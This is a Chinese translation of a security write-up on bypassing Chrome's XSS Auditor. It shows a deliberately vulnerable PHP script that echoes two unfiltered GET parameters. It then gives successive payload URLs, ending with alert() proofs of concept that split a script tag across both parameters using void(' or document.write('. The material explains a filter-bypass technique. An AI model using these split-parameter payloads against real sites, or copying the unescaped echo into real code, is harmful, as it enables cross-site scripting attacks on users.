原文地址:http://cxsecurity.com/issue/WLB-2015080141

像你所熟知的,chrome 处于安全原因,不会执行跨站脚本中的 JS 代码,并且通过这个方法阻止了很多 XSS 攻击。假如现在你有一个受 XSS 影响的 PHP 代码 (chrome.php):

<?php

// Echo the value of parameter one
echo "This is text1:".$_GET['text1']."<br><br>";

// Echo the value of parameter two
echo "This is text2:".$_GET['text2']."<br><br>";

?>

这个 PHP 文件接收两个参数,并且未经任何过滤就输出,这允许你去运行 JS 代码了。如果你在 chrome 中测试类似下面的 xss payload:

http://[HOSTNAME]/[PATH]/chrome.php?text1=<script>alert(/XSS/)</script>&text2=Something

你会发现他不会弹窗,并且 JS 代码显示出来了,而且还会发现你的代码被红色高亮了。这是因为 chrome 极高的安全性,如果你测试其他的类似代码,你会发现相同的结果。但是,我们尝试一下不闭合<script>标签,像这样:

http://[HOSTNAME]/[PATH]/chrome.php?text1=<script>alert(/XSS/)&text2=Something

代码又一次的被显示出来了,但是没有任何红色高亮的警告了,JS 代码被作为 HTML 文本进行识别,因为没有闭合标签。现在必须要标签,试一下在 $_GET['text2'] 中闭合。

http://[HOSTNAME]/[PATH]/chrome.php?text1=<script>alert(/XSS/)&text2=</script>

在这次测试中,你的代码完全的显示了出来,完全没有被红色高亮标记,但是又一次被视为 HTML 文本。我们来试一下用引号并且在两个引号中放一些非代码的文本!举个例子,使用void(''),在第一个参数中传入(',并且在另一个参数中使用')闭合。

现在试一下:

http://[HOSTNAME]/[PATH]/chrome.php?text1=<script>alert(/XSS/);void('&text2=')</script>

很棒,你发现弹窗了!你的 JS 代码被执行了!这正是我们想要的。你也可以使用document.write('')或其他的来代替void('')

上个例子:

http://[HOSTNAME]/[PATH]/chrome.php?text1=<script>alert(/XSS/);document.write('&text2=')</script>